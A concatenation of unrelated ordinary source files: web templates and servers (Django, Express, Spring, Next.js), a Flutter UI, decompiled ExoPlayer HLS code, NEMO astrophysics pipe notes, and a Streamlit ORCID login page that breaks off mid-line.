product.element }} mt-5"> <span class="icon"> <i class="fas fa-chevron-left"></i> </span> <span class="text-uppercase">Keep Shopping</span> </a> <input type="submit" class="btn btn-{{ product.element }} text-uppercase mt-5" value="Add to Cart"> </div> <input type="hidden" name="redirect_url" value="{{ request.path }}"> {% endwith %} </div> </form> </div> </div> {% endif %} </div> </div> <script type="text/javascript"> // prod image slider feature. Referenced in Readme Doc under Credits let thumbnails = document.getElementsByClassName('thumbnail'); let activeImages = document.getElementsByClassName('active'); for (var i = 0; i < thumbnails.length; i++) { thumbnails[i].addEventListener('mouseover', function () { console.log(activeImages); if (activeImages.length > 0) { activeImages[0].classList.remove('active') }; this.classList.add('active') document.getElementById('featured').src = this.src }); }; // image slider feature. let buttonRight = document.getElementById('slideRight'); let buttonLeft = document.getElementById('slideLeft'); buttonLeft.addEventListener('click', function () { document.getElementById('slider').scrollLeft -= 180 }); buttonRight.addEventListener('click', function () { document.getElementById('slider').scrollLeft += 180 }); </script> {% endblock %} {% block postloadjs %} {{ block.super }} {% include 'products/includes/quantity_input_script.html' %} {% endblock %}
package lookout import ( "time" "github.com/ipni/lookout/check" "github.com/ipni/lookout/sample" ) type ( Option func(*options) error options struct { metricsListenAddr string checkInterval *time.Ticker checkersParallelism int samplersParallelism int checkers []check.Checker samplers []sample.Sampler } ) func newOptions(o ...Option) (*options, error) { opts := options{ metricsListenAddr: "0.0.0.0:40080", checkInterval: time.NewTicker(5 * time.Minute), checkersParallelism: 10, samplersParallelism: 10, } for _, apply := range o { if err := apply(&opts); err != nil { return nil, err } } return &opts, nil } func WithMetricsListenAddr(a string) Option { return func(o *options) error { o.metricsListenAddr = a return nil } } func WithCheckers(c ...check.Checker) Option { return func(o *options) error { o.checkers = c return nil } } func WithSamplers(s ...sample.Sampler) Option { return func(o *options) error { o.samplers = s return nil } } func WithCheckInterval(i time.Duration) Option { return func(o *options) error { o.checkInterval = time.NewTicker(i) return nil } } func WithCheckersParallelism(p int) Option { return func(o *options) error { o.checkersParallelism = p return nil } } func WithSamplersParallelism(p int) Option { return func(o *options) error { o.samplersParallelism = p return nil } }
import 'package:flutter/material.dart'; import 'package:news/home/myhompage.dart'; import 'package:news/home/screen_business.dart'; import 'package:news/home/screen_sport.dart'; import 'package:news/home/technology/screen_technology.dart'; class ScreenTabBar extends StatefulWidget { const ScreenTabBar({Key? key}) : super(key: key); @override State<ScreenTabBar> createState() => _ScreenTabBarState(); } class _ScreenTabBarState extends State<ScreenTabBar> with SingleTickerProviderStateMixin { late TabController _tabController; @override void initState() { _tabController = TabController(length: 4, vsync: this); super.initState(); } @override void dispose() { _tabController.dispose(); super.dispose(); } @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: const Center( child: Text( 'News', style: TextStyle( fontWeight: FontWeight.bold, ), ), ), actions: const [ Row( children: [ Icon( Icons.notifications_none_outlined, ), Text( '20', style: TextStyle(color: Colors.red, fontWeight: FontWeight.bold), ), ], ), ], leading: IconButton( onPressed: () {}, icon: const Icon( Icons.settings_outlined, ), ), bottom: TabBar( controller: _tabController, tabs: const <Widget>[ Tab( text: 'News', // icon: Icon(Icons.home), ), Tab( text: 'Technology', // icon: Icon(Icons.beach_access_sharp), ), Tab( text: 'Business', // icon: Icon(Icons.beach_access_sharp), ), Tab( text: 'Sport', // icon: Icon(Icons.beach_access_sharp), ), ], ), ), body: IndexedStack( index: 0, children: [ TabBarView( controller: _tabController, children: const <Widget>[ Center( child: MyHomePage(), ), Center( child: ScreenNewsTech(), ), Center( child: ScreenBusiness(), ), Center(child: ScreenSport()), ], ), ], ), ); } }
package com.example.api_plantanciones.controller; import com.example.api_plantanciones.dto.sensor.SensorHumTemAvg; import com.example.api_plantanciones.dto.sensor.SensorHumTemAvgHist; import com.example.api_plantanciones.model.Sensor; import com.example.api_plantanciones.service.SensorService; import org.apache.coyote.Response; import org.springframework.format.annotation.DateTimeFormat; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import java.util.Date; import java.util.List; @RestController @RequestMapping("/api/sensors") public class SensorController { // Inyectamos el servicio private SensorService sensorService; public SensorController(SensorService service) { this.sensorService = service; } // END POINTS DE LOS SENSORES @GetMapping("/all") public ResponseEntity<List<Sensor>> findAll() { List<Sensor> sensors = sensorService.findAll(); if(sensors.isEmpty()) return ResponseEntity.notFound().build(); return ResponseEntity.ok(sensors); } @PostMapping("/new/{associatedPlantationId}") public ResponseEntity<Sensor> save(@RequestBody Sensor sensor, @PathVariable Long associatedPlantationId) { Sensor savedSensor = sensorService.save(sensor, associatedPlantationId); return ResponseEntity.ok(savedSensor); } @PutMapping("/update/id/{id}") public ResponseEntity<Sensor> update(@PathVariable Long id, @RequestBody Sensor sensor) { Sensor updatedSensor = this.sensorService.update(id, sensor); return ResponseEntity.ok(updatedSensor); } @DeleteMapping("/delete/id/{id}") public ResponseEntity<Sensor> deleteById(@PathVariable Long id) { this.sensorService.deleteById(id); return ResponseEntity.noContent().build(); } @GetMapping("/id/{id}/average/humidity/temperature/date/{initialD}/{finalD}") public ResponseEntity<SensorHumTemAvg> tempYHumeMediaPorFecha(@PathVariable Long id, @PathVariable @DateTimeFormat(pattern = "yyyy-MM-dd") Date initialD, @PathVariable @DateTimeFormat(pattern = "yyyy-MM-dd") Date finalD) { return ResponseEntity.ok(new SensorHumTemAvg(this.sensorService.tempYHumeMediaPorFecha(id, initialD, finalD))); } @GetMapping("/average/temperatureAndHumidity/sensorId/{id}") public ResponseEntity<SensorHumTemAvgHist> tempYHumeMediaPorFecha(@PathVariable Long id) { return ResponseEntity.ok(this.sensorService.temYHumeMediaHistorica(id)); } }
package com.google.android.exoplayer2.source.hls; import android.net.Uri; import android.text.TextUtils; import com.google.android.exoplayer2.Format; import com.google.android.exoplayer2.analytics.PlayerId; import com.google.android.exoplayer2.extractor.Extractor; import com.google.android.exoplayer2.extractor.ExtractorInput; import com.google.android.exoplayer2.extractor.mp3.Mp3Extractor; import com.google.android.exoplayer2.extractor.mp4.FragmentedMp4Extractor; import com.google.android.exoplayer2.extractor.p011ts.Ac3Extractor; import com.google.android.exoplayer2.extractor.p011ts.Ac4Extractor; import com.google.android.exoplayer2.extractor.p011ts.AdtsExtractor; import com.google.android.exoplayer2.extractor.p011ts.DefaultTsPayloadReaderFactory; import com.google.android.exoplayer2.extractor.p011ts.TsExtractor; import com.google.android.exoplayer2.metadata.Metadata; import com.google.android.exoplayer2.util.Assertions; import com.google.android.exoplayer2.util.FileTypes; import com.google.android.exoplayer2.util.MimeTypes; import com.google.android.exoplayer2.util.TimestampAdjuster; import com.google.common.primitives.Ints; import java.io.EOFException; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Map; /* loaded from: classes2.dex */ public final class DefaultHlsExtractorFactory implements HlsExtractorFactory { private static final int[] DEFAULT_EXTRACTOR_ORDER = {8, 13, 11, 2, 0, 1, 7}; private final boolean exposeCea608WhenMissingDeclarations; private final int payloadReaderFactoryFlags; @Override // com.google.android.exoplayer2.source.hls.HlsExtractorFactory public /* bridge */ /* synthetic */ HlsMediaChunkExtractor createExtractor(Uri uri, Format format, List list, TimestampAdjuster timestampAdjuster, Map map, ExtractorInput extractorInput, PlayerId playerId) throws IOException { return createExtractor(uri, format, (List<Format>) list, timestampAdjuster, (Map<String, List<String>>) map, extractorInput, playerId); } public DefaultHlsExtractorFactory() { this(0, true); } public DefaultHlsExtractorFactory(int r1, boolean z) { this.payloadReaderFactoryFlags = r1; this.exposeCea608WhenMissingDeclarations = z; } @Override // com.google.android.exoplayer2.source.hls.HlsExtractorFactory public BundledHlsMediaChunkExtractor createExtractor(Uri uri, Format format, List<Format> list, TimestampAdjuster timestampAdjuster, Map<String, List<String>> map, ExtractorInput extractorInput, PlayerId playerId) throws IOException { int inferFileTypeFromMimeType = FileTypes.inferFileTypeFromMimeType(format.sampleMimeType); int inferFileTypeFromResponseHeaders = FileTypes.inferFileTypeFromResponseHeaders(map); int inferFileTypeFromUri = FileTypes.inferFileTypeFromUri(uri); int[] r1 = DEFAULT_EXTRACTOR_ORDER; ArrayList arrayList = new ArrayList(r1.length); addFileTypeIfValidAndNotPresent(inferFileTypeFromMimeType, arrayList); addFileTypeIfValidAndNotPresent(inferFileTypeFromResponseHeaders, arrayList); addFileTypeIfValidAndNotPresent(inferFileTypeFromUri, arrayList); for (int r5 : r1) { addFileTypeIfValidAndNotPresent(r5, arrayList); } Extractor extractor = null; extractorInput.resetPeekPosition(); for (int r3 = 0; r3 < arrayList.size(); r3++) { int intValue = ((Integer) arrayList.get(r3)).intValue(); Extractor extractor2 = (Extractor) Assertions.checkNotNull(createExtractorByFileType(intValue, format, list, timestampAdjuster)); if (sniffQuietly(extractor2, extractorInput)) { return new BundledHlsMediaChunkExtractor(extractor2, format, timestampAdjuster); } if (extractor == null && (intValue == inferFileTypeFromMimeType || intValue == inferFileTypeFromResponseHeaders || intValue == inferFileTypeFromUri || intValue == 11)) { extractor = extractor2; } } return new BundledHlsMediaChunkExtractor((Extractor) Assertions.checkNotNull(extractor), format, timestampAdjuster); } private static void addFileTypeIfValidAndNotPresent(int r2, List<Integer> list) { if (Ints.indexOf(DEFAULT_EXTRACTOR_ORDER, r2) == -1 || list.contains(Integer.valueOf(r2))) { return; } list.add(Integer.valueOf(r2)); } private Extractor createExtractorByFileType(int r2, Format format, List<Format> list, TimestampAdjuster timestampAdjuster) { if (r2 != 0) { if (r2 != 1) { if (r2 != 2) { if (r2 != 7) { if (r2 != 8) { if (r2 != 11) { if (r2 != 13) { return null; } return new WebvttExtractor(format.language, timestampAdjuster); } return createTsExtractor(this.payloadReaderFactoryFlags, this.exposeCea608WhenMissingDeclarations, format, list, timestampAdjuster); } return createFragmentedMp4Extractor(timestampAdjuster, format, list); } return new Mp3Extractor(0, 0L); } return new AdtsExtractor(); } return new Ac4Extractor(); } return new Ac3Extractor(); } private static TsExtractor createTsExtractor(int r0, boolean z, Format format, List<Format> list, TimestampAdjuster timestampAdjuster) { int r02 = r0 | 16; if (list != null) { r02 |= 32; } else if (z) { list = Collections.singletonList(new Format.Builder().setSampleMimeType(MimeTypes.APPLICATION_CEA608).build()); } else { list = Collections.emptyList(); } String str = format.codecs; if (!TextUtils.isEmpty(str)) { if (!MimeTypes.containsCodecsCorrespondingToMimeType(str, MimeTypes.AUDIO_AAC)) { r02 |= 2; } if (!MimeTypes.containsCodecsCorrespondingToMimeType(str, MimeTypes.VIDEO_H264)) { r02 |= 4; } } return new TsExtractor(2, timestampAdjuster, new DefaultTsPayloadReaderFactory(r02, list)); } private static FragmentedMp4Extractor createFragmentedMp4Extractor(TimestampAdjuster timestampAdjuster, Format format, List<Format> list) { int r3 = isFmp4Variant(format) ? 4 : 0; if (list == null) { list = Collections.emptyList(); } return new FragmentedMp4Extractor(r3, timestampAdjuster, null, list); } private static boolean isFmp4Variant(Format format) { Metadata metadata = format.metadata; if (metadata == null) { return false; } for (int r1 = 0; r1 < metadata.length(); r1++) { Metadata.Entry entry = metadata.get(r1); if (entry instanceof HlsTrackMetadataEntry) { return !((HlsTrackMetadataEntry) entry).variantInfos.isEmpty(); } } return false; } private static boolean sniffQuietly(Extractor extractor, ExtractorInput extractorInput) throws IOException { try { boolean sniff = extractor.sniff(extractorInput); extractorInput.resetPeekPosition(); return sniff; } catch (EOFException unused) { extractorInput.resetPeekPosition(); return false; } catch (Throwable th) { extractorInput.resetPeekPosition(); throw th; } } }
import express from 'express'; import http from 'http'; import { Server as SocketIOServer } from 'socket.io'; import { engine } from 'express-handlebars'; import { fileURLToPath } from 'url'; import path from 'path'; import productRoutes from './routes/products.routes.js'; import cartRoutes from './routes/carts.routes.js'; import viewsRouter from './routes/views.routes.js'; import productManager from './productManager.js'; const __filename = fileURLToPath(import.meta.url); const __dirname = path.dirname(__filename); const app = express(); const httpServer = http.createServer(app); const io = new SocketIOServer(httpServer); const PORT = 8080; // Middleware para permitir formato JSON y URL-encoded app.use(express.json()); app.use(express.urlencoded({ extended: true })); // Configuración de Handlebars app.engine('handlebars', engine()); app.set('view engine', 'handlebars'); app.set('views', path.join(__dirname, 'views')); // Servir archivos estáticos desde la carpeta 'public' app.use(express.static(path.join(__dirname, 'public'))); // Middleware para agregar la instancia de io al objeto de solicitud app.use((req, res, next) => { req.io = io; next(); }); // Rutas app.use('/api', productRoutes); app.use('/api', cartRoutes); app.use('/', viewsRouter); // Inicialización del servidor de Socket.IO io.on('connection', (socket) => { console.log('Nuevo cliente conectado'); socket.on('createProduct', async (product) => { try { await productManager.addProduct(product); const products = await productManager.getProducts(); io.emit('updateProducts', products); } catch (error) { console.error('Error al agregar producto:', error.message); } }); socket.on('deleteProduct', async (id) => { try { await productManager.deleteProduct(id); const products = await productManager.getProducts(); io.emit('updateProducts', products); } catch (error) { console.error('Error al eliminar producto:', error.message); } }); socket.on('disconnect', () => { console.log('Cliente desconectado'); }); }); // Iniciar el servidor httpServer.listen(PORT, () => { console.log(`Server running on port ${PORT}`); });
import { AccessOperationEnum, AccessServiceEnum, requireNextAuth, withAuthorization, useAuthorizationApi, } from '@roq/nextjs'; import { compose } from 'lib/compose'; import { Box, Button, Flex, IconButton, Link, Text, TextProps } from '@chakra-ui/react'; import { ColumnDef } from '@tanstack/react-table'; import { Error } from 'components/error'; import { SearchInput } from 'components/search-input'; import Table from 'components/table'; import { useDataTableParams, ListDataFiltersType } from 'components/table/hook/use-data-table-params.hook'; import { DATE_TIME_FORMAT } from 'const'; import d from 'dayjs'; import AppLayout from 'layout/app-layout'; import NextLink from 'next/link'; import { useRouter } from 'next/router'; import { useCallback, useState } from 'react'; import { FiEdit2, FiPlus, FiTrash } from 'react-icons/fi'; import useSWR from 'swr'; import { PaginatedInterface } from 'interfaces'; import { withAppLayout } from 'lib/hocs/with-app-layout.hoc'; import { AccessInfo } from 'components/access-info'; import { getTasks, deleteTaskById } from 'apiSdk/tasks'; import { TaskInterface } from 'interfaces/task'; type ColumnType = ColumnDef<TaskInterface, unknown>; interface TaskListPageProps { filters?: ListDataFiltersType; pageSize?: number; hidePagination?: boolean; showSearchFilter?: boolean; titleProps?: TextProps; hideTableBorders?: boolean; } export function TaskListPage(props: TaskListPageProps) { const { filters = {}, titleProps = {}, showSearchFilter = false, hidePagination, hideTableBorders, pageSize } = props; const { hasAccess } = useAuthorizationApi(); const { onFiltersChange, onSearchTermChange, params, onPageChange, onPageSizeChange, setParams } = useDataTableParams( { filters, searchTerm: '', pageSize, order: [ { desc: true, id: 'created_at', }, ], }, ); const fetcher = useCallback( async () => getTasks({ relations: ['user'], limit: params.pageSize, offset: params.pageNumber * params.pageSize, searchTerm: params.searchTerm, order: params.order, ...(params.filters || {}), }), [params.pageSize, params.pageNumber, params.searchTerm, params.order, params.filters], ); const { data, error, isLoading, mutate } = useSWR<PaginatedInterface<TaskInterface>>( () => `/tasks?params=${JSON.stringify(params)}`, fetcher, ); const router = useRouter(); const [deleteError, setDeleteError] = useState(null); const handleDelete = async (id: string) => { setDeleteError(null); try { await deleteTaskById(id); await mutate(); } catch (error) { setDeleteError(error); } }; const handleView = (row: TaskInterface) => { if (hasAccess('task', AccessOperationEnum.READ, AccessServiceEnum.PROJECT)) { router.push(`/tasks/view/${row.id}`); } }; const columns: ColumnType[] = [ { id: 'name', header: 'name', accessorKey: 'name' }, { id: 'status', header: 'status', accessorKey: 'status' }, hasAccess('user', AccessOperationEnum.READ, AccessServiceEnum.PROJECT) ? { id: 'user', header: 'User', accessorKey: 'user', cell: ({ row: { original: record } }: any) => ( <Link as={NextLink} onClick={(e) => e.stopPropagation()} href={`/users/view/${record.user?.id}`}> {record.user?.email} </Link> ), } : null, { id: 'actions', header: 'actions', accessorKey: 'actions', cell: ({ row: { original: record } }: any) => ( <> {hasAccess('task', AccessOperationEnum.UPDATE, AccessServiceEnum.PROJECT) && ( <NextLink href={`/tasks/edit/${record.id}`} passHref legacyBehavior> <Button onClick={(e) => e.stopPropagation()} mr={2} padding="0rem 0.5rem" height="1.5rem" fontSize="0.75rem" variant="outline" color="state.info.main" borderRadius="6px" border="1px" borderColor="state.info.transparent" leftIcon={<FiEdit2 width="12px" height="12px" color="state.info.main" />} > Edit </Button> </NextLink> )} {hasAccess('task', AccessOperationEnum.DELETE, AccessServiceEnum.PROJECT) && ( <IconButton onClick={(e) => { e.stopPropagation(); handleDelete(record.id); }} padding="0rem 0.5rem" variant="outline" aria-label="edit" height="1.5rem" fontSize="0.75rem" color="state.error.main" borderRadius="6px" borderColor="state.error.transparent" icon={<FiTrash width="12px" height="12px" color="error.main" />} /> )} </> ), }, ].filter(Boolean) as ColumnType[]; return ( <Box p={4} rounded="md" shadow="none"> <AccessInfo entity="task" /> <Flex justifyContent="space-between" mb={4}> <Text as="h1" fontSize="1.875rem" fontWeight="bold" color="base.content" {...titleProps}> Task </Text> {hasAccess('task', AccessOperationEnum.CREATE, AccessServiceEnum.PROJECT) && ( <NextLink href={`/tasks/create`} passHref legacyBehavior> <Button onClick={(e) => e.stopPropagation()} height={'2rem'} padding="0rem 0.75rem" fontSize={'0.875rem'} fontWeight={600} bg="primary.main" borderRadius={'6px'} color="primary.content" _hover={{ bg: 'primary.focus', }} mr="4" as="a" > <FiPlus size={16} color="primary.content" style={{ marginRight: '0.25rem' }} /> Create </Button> </NextLink> )} </Flex> <Flex flexDirection={{ base: 'column', md: 'row' }} justifyContent={{ base: 'flex-start', md: 'space-between' }} mb={4} gap={{ base: 2, md: 0 }} > {showSearchFilter && ( <Box> <SearchInput value={params.searchTerm} onChange={onSearchTermChange} /> </Box> )} </Flex> {error && ( <Box mb={4}> <Error error={error} /> </Box> )} {deleteError && ( <Box mb={4}> <Error error={deleteError} />{' '} </Box> )} <> <Table hidePagination={hidePagination} hideTableBorders={hideTableBorders} isLoading={isLoading} onPageChange={onPageChange} onPageSizeChange={onPageSizeChange} columns={columns} data={data?.data} totalCount={data?.totalCount || 0} pageSize={params.pageSize} pageIndex={params.pageNumber} order={params.order} setParams={setParams} onRowClick={handleView} /> </> </Box> ); } export default compose( requireNextAuth({ redirectTo: '/', }), withAuthorization({ service: AccessServiceEnum.PROJECT, entity: 'task', operation: AccessOperationEnum.READ, }), withAppLayout(), )(TaskListPage);
package com.bloggingapp.exception; import java.util.HashMap; import java.util.Map; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.validation.FieldError; import org.springframework.web.bind.MethodArgumentNotValidException; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RestControllerAdvice; import com.bloggingapp.payload.ApiResponse; @RestControllerAdvice public class GlobleExceptionHandler { @ExceptionHandler( ResourceNotFoundException.class) public ResponseEntity<ApiResponse> resourceNotFoundException( ResourceNotFoundException ex){ String message=ex.getMessage(); ApiResponse apiResponse=new ApiResponse(message,false); return new ResponseEntity<ApiResponse>(apiResponse,HttpStatus.NOT_FOUND); } @ExceptionHandler(MethodArgumentNotValidException.class) public ResponseEntity<Map<String,String>> methodArgumentNotValidException(MethodArgumentNotValidException ex){ Map<String, String> resp=new HashMap<>(); ex.getBindingResult().getAllErrors().forEach((error)->{ String fieldName=((FieldError)error).getField(); String message=error.getDefaultMessage(); resp.put(fieldName, message); }); return new ResponseEntity<Map<String,String>>(resp,HttpStatus.BAD_REQUEST); } }
package com.example.demo.component; import cn.hutool.json.JSONArray; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Component; import javax.websocket.*; import javax.websocket.server.PathParam; import javax.websocket.server.ServerEndpoint; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; /** * @author websocket服务 */ @ServerEndpoint(value = "/imserver/{username}") @Component public class WebSocketServer { //初始化LoggerFactory对象 初始化日志 LoggerFactory.getLogger(xx.class) xx.class就是要加入日志功能的类 private static final Logger log = LoggerFactory.getLogger(WebSocketServer.class); /** * 记录当前在线连接数 */ //ConcurrentHashMap是并发效率更高的Map,用来替换其他线程安全的Map容器,比如Hashtable和Collections.synchronizedMap。 //实际上,并发执行时,线程安全的容器只能保证自身的数据不被破坏,但无法保证业务的行为是否正确。 public static final Map<String, Session> sessionMap = new ConcurrentHashMap<>(); /** * 连接建立成功调用的方法 */ // 当打开连接后触发的函数 @OnOpen public void onOpen(Session session, @PathParam("username") String username) { //map中放入传入进来的username和session //键名是username,键值是session //后面我们会根据这里填写的username找到放在这里的session sessionMap.put(username, session); //此时的sessionMap为{lijiekai1998:"asdasdasdasdasdasd"} //日志输出 log.info里面的{} = 后面写入的值 sessionMap.size()=map里面有的大小 利用该大小就能确定当前在线的人数 //示例: 有新用户加入,username=lijiekai1998, 当前在线人数为:1 log.info("有新用户加入,username={}, 当前在线人数为:{}", username, sessionMap.size()); //新建一个Json格式的对象 JSONObject result = new JSONObject(); //新建一个Json格式的数组 JSONArray array = new JSONArray(); //对象放入一个数组,键名是users,键值是array 现在的Json格式对象result = {user:[]} result.set("users", array); //sessionMap.keySet() 相当于map的一个Key的数列 //循环出来的key 其实是我们之前放入的username for (Object key : sessionMap.keySet()) { //新建一个Json格式的对象 JSONObject jsonObject = new JSONObject(); //对象中放入键名username 键值为key key其实是我们前面放入的username jsonObject.set("username", key); //名字是users的数组中放入我们刚刚创建的对象 //此时的array:["username":key的值] key的值=键名 键名=我们传入的username array.add(jsonObject); } //举例:循环完毕的 result ={"users":[{"username":"qq380686356"},{"username":"lijiekai1998"}]} //这个是我们自己自定义的方法sendAllMessage 在组下面 //JSONUtil.toJsonStr(result)=将result变成字符串格式 sendAllMessage(JSONUtil.toJsonStr(result)); // 后台发送消息给所有的客户端 } /** * 服务端发送消息给所有客户端 */ //这个message是上面我们自己弄的那个 result ={"users":[{"username":"qq380686356"},{"username":"lijiekai1998"}]} private void sendAllMessage(String message) { try { //此时的sessionMap为{lijiekai1998:"asdasdasdasdasdasd"} //sessionMap.values()="asdasdasdasdasdasd" for (Session session : sessionMap.values()) { //session.getId 里面的ID就是0,1,2,3,4..... log.info("服务端给客户端[{}]发送消息{}", session.getId(), message); //发送消息 session.getBasicRemote().sendText(message); } } catch (Exception e) { log.error("服务端发送消息给客户端失败", e); } } /** * 收到客户端消息后调用的方法 * 后台收到客户端发送过来的消息 * onMessage 是一个消息的中转站 * 接受 浏览器端 socket.send 发送过来的 json数据 * @param message 客户端发送过来的消息 */ //此时的message就是前端传进来的数据了 @OnMessage public void onMessage(String message, Session session, @PathParam("username") String username) { log.info("服务端收到用户username={}的消息:{}", username, message); //解码前端传进来的数据 JSONObject obj = JSONUtil.parseObj(message); //getStr,获得键值 text的键值就是我们输入的内容 String toUsername = obj.getStr("to"); // to表示发送给哪个用户,比如 admin String text = obj.getStr("text"); // 发送的消息文本 hello // {"to": "admin", "text": "聊天文本"} //从我们之前弄的定义的sessionMap利用键名user取出键值session Session toSession = sessionMap.get(toUsername); if (toSession != null) { // 服务器端 再把消息组装一下,组装后的消息包含发送人和发送的文本内容 // {"from": "zhang", "text": "hello"} //创建一个新的json格式对象 JSONObject jsonObject = new JSONObject(); jsonObject.set("from", username); // from 是 zhang jsonObject.set("text", text); // text 同上面的text this.sendMessage(jsonObject.toString(), toSession); log.info("发送给用户username={},消息:{}", toUsername, jsonObject.toString()); } else { log.info("发送失败,未找到用户username={}的session", toUsername); } } /** * 服务端发送消息给客户端 */ private void sendMessage(String message, Session toSession) { try { log.info("服务端给客户端[{}]发送消息{}", toSession.getId(), message); //核心代码,把前端传入的信息发送 toSession.getBasicRemote().sendText(message); } catch (Exception e) { log.error("服务端发送消息给客户端失败", e); } } /** * 连接关闭调用的方法 */ @OnClose public void onClose(Session session, @PathParam("username") String username) { //sessionMapper移除键名为{username}的内容 sessionMap.remove(username); log.info("有一连接关闭,移除username={}的用户session, 当前在线人数为:{}", username, sessionMap.size()); } @OnError public void onError(Session session, Throwable error) { log.error("发生错误"); error.printStackTrace(); } }
/** @jsx jsx */ import { css, jsx } from '@emotion/core'; import { colorPalettes } from '../src'; import { ColorPill, Heading } from './colors'; const firstHeadingStyles = css({ marginTop: 0, }); export default () => { return ( <div id="colors"> <Heading css={firstHeadingStyles}>8 colors (base)</Heading> {colorPalettes.colorPalette('8').map((color, index) => ( <ColorPill primary={color.background} secondary={color.text} name={`colorPalette('8')[${index}]`} key={index} /> ))} <Heading>16 colors</Heading> {colorPalettes.colorPalette('16').map((color, index) => ( <ColorPill primary={color.background} secondary={color.text} name={`colorPalette('16')[${index}]`} key={index} /> ))} <Heading>24 colors</Heading> {colorPalettes.colorPalette('24').map((color, index) => ( <ColorPill primary={color.background} secondary={color.text} name={`colorPalette('24')[${index}]`} key={index} /> ))} </div> ); };
pipes in NEMO: Standard UNIX pipes are often use in NEMO to stream data from one task to another, e.g. mkplummer - 1000 | integrator - - tstop=10 | snapplot - nxy=4,4 This does have some limitations, e.g. it is hard to fork/split a data-stream and run two streams in the standard unix shell, and perhaps even harder to shunt data and feed it back into the stream a little earlier, like a feedback loop. Here is an example of how to feedback some data earlier in the stream, in a particular situation of an integrator that needs a background potential, of which the parameters are derived from the snapshot at a slightly delayed time (due to the nature of how pipes work) mkplummer - 1000 |\ gyrfalcON - - potname=plummerv potpars=0,1,1,0.1 potfile=plummerv.dat |\ snapcore - potfile=plummerv.dat It should be clear that the integration is not necessarely exactly repeatable, not a particularly wishful situation. To study this example, look at two new codes for this: 1) $NEMO/src/orbit/potential/data/plummerv.c this implements an example of a plummer sphere potential (derived from plummer.c), but at regular intervals (as roughly set by potpars[3]) it will attempt to read a so-called "plummerv" binary structured datafile and recompute the plummer parameters. 2) $NEMO/src/nbody/reduc/snapcore.c this implements an example how to read snapshots that came out of the integrator (or anything along the pipe, see example above), and compute new plummer parameters and write them into a "plummerv" binary structured datafile. Potential problems: - the reader could try to open when the writer is "in the middle", causing bad data to be read. Could do file locking, or use a shared memory segment instead. since it's via stropen(), stropen should offer that as an option. I've run this test a number of times, and didn't run into this problem, however i oddly enough ran out of I/O slots. it's also one of these potential places where Heisenbug's can creap in. By adding or removing printf() statements the code runs quicker, the pipe produces the "tmr" file at a different rate and you get different results. - the potfile= example in snapcore.c does not retain a history, in case the user wants that, so it has to be kept another way. In the current example the numbers in snapcore and plummerv are printed to <stderr> and can be easily compared for heisebugs or synchronization problems. - since i could not get the dynamic object loader work with stat64() [in the fexist routine in plummerv.c], currently you probably should make a dummy file plummerv.dat, e.g. as shown in the following simple shell script: #! /bin/csh -f # set t=0 set m=1 set r=0.2 set out=plummerv.dat rsf in=- out=$out << EOF set plummerv double Time $t double Mass $m double Radius $r tes EOF tsf $out however if the timing is good, and dt not too small (?), it appears to work without the bootstrapping need. tcppipe: lets take this example mkplummer - 1000 | tsf - and let both sides of the pipe done on different machines currently we do: start sending on machine A: mkplummer - 1000 | tcppipe then receive in machine B: tcppipe A | tsf - in the future we could think of a unique type approach: on A: mkplummer + 1000 on B: tsf +A which defaults to port A full syntax could be: +host:port/bufsize
import streamlit as st from requests.auth import HTTPBasicAuth import requests # Orcid Auth CLIENT_ID = st.secrets["Orcid_ID"] CLIENT_SECRET = st.secrets["Orcid_Secret"] # REDIRECT_URI = "https://orcid-app-u9tbyykcsuwozua46jf3hk.streamlit.app/" # REDIRECT_URI = "https://geo-cosmo-data-sharing-platform-bvniuih82j6l2aeq3jxfyb.streamlit.app/" # REDIRECT_URI = "https://mag4-data-sharing.streamlit.app/ORCID_login" REDIRECT_URI = "https://geo-cosmo-data-sharing-platform-bvniuih82j6l2aeq3jxfyb.streamlit.app/ORCID_login" # ORCID_API_URL = "https://pub.orcid.org/v3.0/" # Function to get Orcid token def get_orcid_token(authorization_response): token_url = "https://orcid.org/oauth/token" token_data = { "grant_type": "authorization_code", "code": authorization_response, "redirect_uri": REDIRECT_URI, } auth = HTTPBasicAuth(CLIENT_ID, CLIENT_SECRET) response = requests.post(token_url, data=token_data, auth=auth) if response.status_code == 200: return response.json().get("access_token") else: return None # Function to get Orcid user info def get_orcid_user_info(orcid_token): if not orcid_token: return None user_info_url = "https://orcid.org/oauth/userinfo" headers = { "Authorization": f"Bearer {orcid_token}", "Accept": "application/json", } response = requests.get(user_info_url, headers=headers) if response.status_code == 200: user_info = response.json() return user_info return { "name": user_info.get("name", ""), "orcid": user_info.get("sub", ""), # Using 'sub' as Orcid ID, you may need to adjust this based on the response format } else: return st.error('info response error') # Streamlit app st.title("ORCID Authentication") st.write('Works as follows (for the moment:)') st.write('Click on the button, click on the link – then authenticate.') st.write('After the redirect to this page, click again on login – and you are all set.') st.write('This will become more streamlined in the future.') st.write(' ') st.write('To logout – simply return to this page and you will be logged aout fro ORCID.') # Check if the user is authenticated st.session_state.is_authenticated = False #st.session_state.get("is_authenticated", False) if not st.session_state.is_authenticated: # Orcid login button if st.button("Login with ORCID"): # Redirect user to Orcid for authorization authorization_url = f"https://orcid.org/oauth/authorize?client_id={CLIENT_ID}&response_type=code&scope=/authenticate&redirect_uri={REDIRECT_URI}" st.write(f"Click [here]({authorization_url}) to log in with Orcid.") # Check if the authorization code is present in the URL url = st.experimental_get_query_params() # should soon be: st.query_params() authorization_response = url.get("code", None) if authorization_response: # Get Orcid token orcid_token = get_orcid_token(authorization_response) if orcid_token: st.session_state.is_authenticated = True st.session_state.orcid_token = orcid_token st.success("Successfully logged in with ORCID") # Display user info if authenticated if st.session_state.is_authenticated: st.sidebar.success("You are logged in with ORCID") # Display Orcid user info automatically st.session_state.orcid_user_info = get_orcid_user_info(orcid_token) st.write('response.status_code', st.session_state.orcid_user_info) st.write('name', st.session_state.orcid_user_info['family_name']) if st.session_state.orcid_user_info: st.write("Orcid User Information:") st.write(f"Name: {st.session_state.orcid_user_info['given_name']} {st.session_state.orcid_user_info['family_name']}") # st.write(f"Name: 